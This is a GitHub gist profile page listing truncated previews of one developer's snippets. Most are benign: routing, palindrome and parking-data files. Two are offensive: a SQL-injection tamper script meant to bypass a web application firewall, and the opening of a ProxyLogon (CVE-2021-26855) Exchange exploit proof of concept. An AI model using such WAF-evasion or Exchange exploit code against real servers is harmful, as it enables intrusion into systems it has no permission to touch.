Skip to content

Instantly share code, notes, and snippets.

View metao1's full-sized avatar
πŸ•ΆοΈ
Code Mode

Mehrdad Karami metao1

πŸ•ΆοΈ
Code Mode
View GitHub Profile
@metao1
metao1 / waf_json_postgress_bypass.py
Last active December 12, 2022 23:57
waf_json_postgress_bypass.py
#!/usr/bin/env python
# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
pattern = r"(?i)(?P<pre>.*)\s*\b(?P<relation>AND|OR)\b\s*(?P<leftComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<operator>=|=|like)(?P<rightComponent>\(?\'.*?(?<!\\)(?:\'|\Z)\)?|\(?\".*?(?<!\\)(?:\"|\Z)\)?|\(?\d+(?!x[a-f0-9])\)?)(?P<post>.*)"
import re, random, string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
@metao1
metao1 / Designing Event-Driven Systems links.md
Created December 28, 2021 21:59 — forked from giampaolotrapasso/Designing Event-Driven Systems links.md
List of links from Designing Event-Driven Systems by Ben Stopford
@metao1
metao1 / digihack.py
Created March 12, 2021 08:16
Microsoft exchange hack
# PoC of proxylogon chain SSRF(CVE-2021-26855) to write file
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
@metao1
metao1 / all-palindromic-partitions.java
Last active September 4, 2020 14:04
all palindromic partitions
public class Solution {
public static List<List<String>> partition(String s) {
Map<Integer, List<String>> objects = new HashMap<>();
Integer counter = 0;
part(counter, s, objects);
return new ArrayList<>(objects.values());
}
public static void part(Integer counter, String str, Map<Integer, List<String>> afs) {
if (str.length() == 0) {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
System.out.print("Enter String");
String s = br.readLine();
System.out.print("Enter input: " + s);
@metao1
metao1 / RouteEntry.java
Last active July 12, 2020 11:15
Ad hoc On-Demand Distance Vector (AODV) Routing table
public class RouteEntry {
/**
* **************************************************************************
* Constants needed by DISCOVERY Route Entry
* **************************************************************************
*/
/**
{"swagger":"2.0","info":{"description":"This is a sample server Petstore server. You can find out more about Swagger at [http://swagger.io](http://swagger.io) or on [irc.freenode.net, #swagger](http://swagger.io/irc/). For this sample, you can use the api key `special-key` to test the authorization filters.","version":"1.0.5","title":"Swagger Petstore","termsOfService":"http://swagger.io/terms/","contact":{"email":"apiteam@swagger.io"},"license":{"name":"Apache 2.0","url":"http://www.apache.org/licenses/LICENSE-2.0.html"}},"host":"petstore.swagger.io","basePath":"/v2","tags":[{"name":"pet","description":"Everything about your Pets","externalDocs":{"description":"Find out more","url":"http://swagger.io"}},{"name":"store","description":"Access to Petstore orders"},{"name":"user","description":"Operations about user","externalDocs":{"description":"Find out more about our store","url":"http://swagger.io"}}],"schemes":["https","http"],"paths":{"/pet/{petId}/uploadImage":{"post":{"tags":["pet"],"summary":"uploads
@metao1
metao1 / golang_on_rpi.md
Last active April 19, 2020 10:34
Install Golang 1.9 on Raspberry Pi

Install Golang 1.9:

dpkg -l|grep golang  #  if you see any, run following cmd to remove
sudo apt-get purge golang-*

Verify whether go is still installed

type go    # see if go is installed

typical output if go is installed

{"parkings": [
{
"_id": "58d98f44271596155404031e",
"location": "58ea64a7c36b311ca2a12fe0",
"coords": [
7.65390621,
45.07134325
],
"name": "P.zza Adriano testnew",
"description": "Piazza Adriano, 6 , Torino, Italia, test"
This file has been truncated, but you can view the full file.
{
"copyright": "Copyright INRIX Inc.",
"versionNumber": "5.2",
"createdDate": "2018-08-19T13:55:15Z",
"responseId": "e2ddc8c0-d77d-4215-8ddf-d83dfdfe92e3",
"result": [
{
"note": "Gate Closes at 01:00 But Attendant Always On-Site",
"photoThumbs": [
"https://d13esfgglb25od.cloudfront.net/lot_img/199951/f6efffde49e642e6986e77c0ead87216_thumb.jpg",